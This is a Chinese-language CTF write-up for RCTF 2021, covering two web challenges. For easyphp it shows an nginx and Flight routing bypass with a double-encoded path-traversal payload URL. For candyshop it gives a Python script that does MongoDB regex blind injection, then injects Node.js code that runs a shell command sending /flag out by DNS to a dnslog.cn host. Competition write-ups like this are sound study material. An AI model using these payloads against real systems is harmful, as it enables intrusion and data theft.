0%

rctf2021.md

rctf2021

废话

基本是躺的比赛,白天对着php源码看了半天也没看出来漏洞,然后去看密码,只要能分解出一个512bit的数就能出了,可惜分不得。再看去misc,图片那个题误以为p,q,m很大,考虑一堆不同的像素点列几万个方程z3去解,上传上去wget下来发现图片有压缩觉得不可做于是立刻放弃。ezshell那个网上抄了个冰蝎马的代码,编译出.class丢给队友,服务器直接500了,后来发现是jdk版本太高,就交给队友去下载新版本了。回了趟宿舍睡了个觉,早上一醒发现队友们已经把miscAK了,同时又把一个web一个pwn干出来了,最后排名是21,虽然是20名交writeup,但也真的太牛了。。很难过的反思自己为什么这么废物了一上午后决定好好去复盘一下这场比赛。

easyphp

拿到源码先审,很显然是要admin登进去,用户名是admin,但是密码我们无法获取。

1
2
3
4
5
if($request->data->username === $username && $request->data->password === $password){
$_SESSION["user"] = $username;
$app->redirect("/");
return;
}

此处表明我们需要有user的session才能去登入admin,另外在此处也发现了一点东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
$app->route('/*', function(){
global $app;
$request = $app->request();
$app->render("head",[],"head_content");
if(stristr($request->url,"login")!==FALSE){
return true;
}else{
if($_SESSION["user"]){
return true;
}
$app->redirect("/login");
}
});

这个return true表示的意思就是可以继续这个路由的访问,可以看到,要么有_session[user],要么url里包含login,就可以直接进到我们想去的路由中。

在web层面我们直接尝试访问/admin,却发现在服务器层被nginx403弹回来了,回去看nginx.conf,里面有很奇怪的点。

1
2
3
4
5
6
7
8
9
root   /var/www/html;
location /admin {
allow 127.0.0.1;
deny all;
}
location / {
index index.php;
try_files $uri @phpfpm;
}

只有本地才能访问/admin???那框架上在写什么东西??

第一步很明确,我们要绕过nginx对/admin这个路由的解析,这个绕法我在当时无聊的时候发现的一个特性,就是在之前无论输入什么,比如/views/index.php,/views/template.php,结果浏览器跳转的居然是/views/login,这就十分灵性,理论上应该跳回/login的,为了解决这个问题,我们去审这个Flight框架的路由。

重点看/flight/net部分的几个php文件,分别是解析request包,response包和route的,很灵性的就是我们之前在index.php看到的$request->url。这个url是怎么得到的?

1
2
3
4
5
6
7
8
9
$config = array(
'url' => str_replace('@', '%40', self::getVar('REQUEST_URI', '/')),
'base' => str_replace(array('\\',' '), array('/','%20'), dirname(self::getVar('SCRIPT_NAME'))),

...
if ($this->base != '/' && strlen($this->base) > 0 && strpos($this->url, $this->base) === 0) {
$this->url = substr($this->url, strlen($this->base));
}

REQUEST_URI是从nginx转发过来的,是原生请求URI

1
2
3
4
5
6
7
8
location @phpfpm {
include fastcgi_params;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root/index.php;
fastcgi_param REQUEST_URI $uri;
}

可以测试一下REQUEST_URI和SCRIPT_NAME都是什麽。

image-20210914001902249

image-20210914001923674

结合上述代码我们就知道了,$this->url会拿到之前的base,把/全部拿掉,只剩下最后一部分,才是真正的request->url,在index.php匹配里全都是这个部分,这就能解决之前说的为什么views/index.php会跳回views/login的问题。

所以要想绕过nginx层仅有本地访问的限制,我们只需要修改为/1/admin,就能绕过nginx,而框架会把我们的url解析成/admin,算是绕过了第一部分。

第二部分是这段代码:

1
2
3
if(stristr($request->url,"login")!==FALSE){
return true;
}

需要在url里有login就能成功进入/admin了,放在哪里合适呢?思来想去只有放在?充当一个变量才合适。

在这里我们引入nginx里对$uri的理解:https://www.jianshu.com/p/b9705efc2792

  • 进行一次url解码
  • 去除所有查询字符串,即?及其后面的部分

  • 将连续重复的/替换为单个/

可以测试一下:

image-20210914004841582

nginx直接把?后面的东西给抹除了。

但是如果我们把url编码一下,再放上去,nginx解码之后不会理解?是一个标识符,而是把他理解为一个普通的路由,至此,我们传给php-fpm的url就已经是admin?login,这个就是request->url,的确包含了login,所以理所应当的我们进入了admin这个身份,并且能看文件了!

image-20210914005001611
快速过一遍/admin的代码,发现是读当前目录下的文件,通过scandir实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
<h3>File List:</h3>
<script>
</script>
<div class="bg-light border rounded-3" style="white-space: pre-line">
<?php
$dir = pathinfo($data?$data:".",PATHINFO_DIRNAME);
foreach(scandir($dir) as $v){
echo "<a href=\"/admin?data=$dir/$v\">$v</a><br />";
}
?>
</div>
<?php if ($data) { ?><h3><?= $data . ":" ?></h3>
<div class="bg-light border rounded-3"><code style="white-space: pre-line"><?php echo file_get_contents($data); ?></code></div><?php } ?>

我们读flag肯定要路径穿越回去,十分不幸的是,在index.php中,把路径穿越符全部禁掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isdanger($v){
if(is_array($v)){
foreach($v as $k=>$value){
if(isdanger($k)||isdanger($value)){
return true;
}
}
}else{
if(strpos($v,"../")!==false){
return true;
}
}
return false;
}

十分可惜,这个isdanger是在engine启动前,根据nginx解析get变量后进行判断的,由于我们对?进行了编码绕过了nginx的变量解析,所以nginx传给php-fpm的$_GET是空的,自然能绕过isdanger。

又因为这个框架对url的解析只认最后一个斜杠,如果我们正常写data=../../../flag的话会被框架解析为/flag路由,如果写data=..%2f..%2f..%2fflag也没用,因为被nginx解码之后回去还是会变成../

继续追踪net/Request.php,这里多此一举的再次对url进行了解析:

1
2
3
4
5
6
7
8
if (empty($this->url)) {
$this->url = '/';
}
// Merge URL query parameters with $_GET
else {
$_GET += self::parseQuery($this->url);
$this->query->setData($_GET);
}

在这里,对$this->url再次进行了解析,之前骗过nginx的get请求此时被解析了出来,会把第二次解析的内容放入$this->query->data里,所以进到最后一步里,data就理所应当的被赋值进来了。

1
$app->render("admin",["data"=>"./".$request->query->data],"body_content");

至此,我们思路很清晰了,对../进行二次编码..%252f,第一次解码是在nginx层,解码为..%2f后传给php-fpm,这个不会被当成/,所以$request->url不变,第二次解码是在request.php中的init中,解完之后$_GET[data]就是../了,我们就能任意路径穿越去读文件了。

最终payload:

1
http://124.71.132.232:60080/..%2f/admin%3flogin=&data=..%252f..%252f..%252f..%252fflag

事后总结一下这个题为什么能这么搞,第一点比较离谱的就是框架在解析路由的时候只认了最后一个/的东西,这种bug我也很是服气。剩下的就是nginx和这个框架的配合失误,他自己把很多事情(比如nginx已经给你解析好的东西)都会自己再处理一遍,才导致的这种二次编码绕过漏洞。

candyshop

审计源码发现是mongoDB,找到了一篇巨佬的博客https://whoamianony.top/2021/07/30/Web%E5%AE%89%E5%85%A8/Nosql%20%E6%B3%A8%E5%85%A5%E4%BB%8E%E9%9B%B6%E5%88%B0%E4%B8%80/,里面有对于MongoDB的布尔盲注,盲注后拿到密码,登进去后发现order填写中并未进行任何过滤,所以考虑闭合右括号然后任意js代码执行,这里的执行没有回显,所以我们直接用dnslog进行数据外带即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string

password = ''
url = "http://123.60.21.23:23333"
strlist = string.ascii_lowercase + string.digits
s = requests.session()

def getPass():
global password
while True:
for c in strlist:
post_payload = {
"username": "rabbit",
"password[$regex]": '^' + password + c
}
r = requests.post(url=url+'/user/login', data=post_payload)
if 'You Bad Bad' in r.text:
print("[+] %s" % (password + c))
password += c
if len(password) == 64:
break
if len(password) == 64:
break

def login():
s.post(url + '/user/login', data={'username':'rabbit', 'password':password})

def test():
r = s.post(url + '/shop/order', data={'username':"')\n -[][\"constructor\"][\"constructor\"](\"console.log(this.process.mainModule.require('child_process').exec('ping `cat /flag|base64`.lww0py.dnslog.cn'))\")()\n //", 'candyname':'bunny_candy', 'address':'1'})
print(r.text)

if __name__ == '__main__':
getPass()
login()
test()